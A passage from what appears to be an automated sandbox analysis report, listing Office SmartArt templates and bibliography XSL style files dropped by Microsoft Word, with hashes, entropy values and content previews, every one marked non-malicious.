SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCD593E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD593E.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCD594E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD594E.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCD5968.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5968.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCD5969.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5969.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD597B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD597B.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCD598D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD598D.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD59A0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD59A0.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCD59B1.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD59B1.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCD59E5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD59E5.tmp\gostname.xsl

Download File

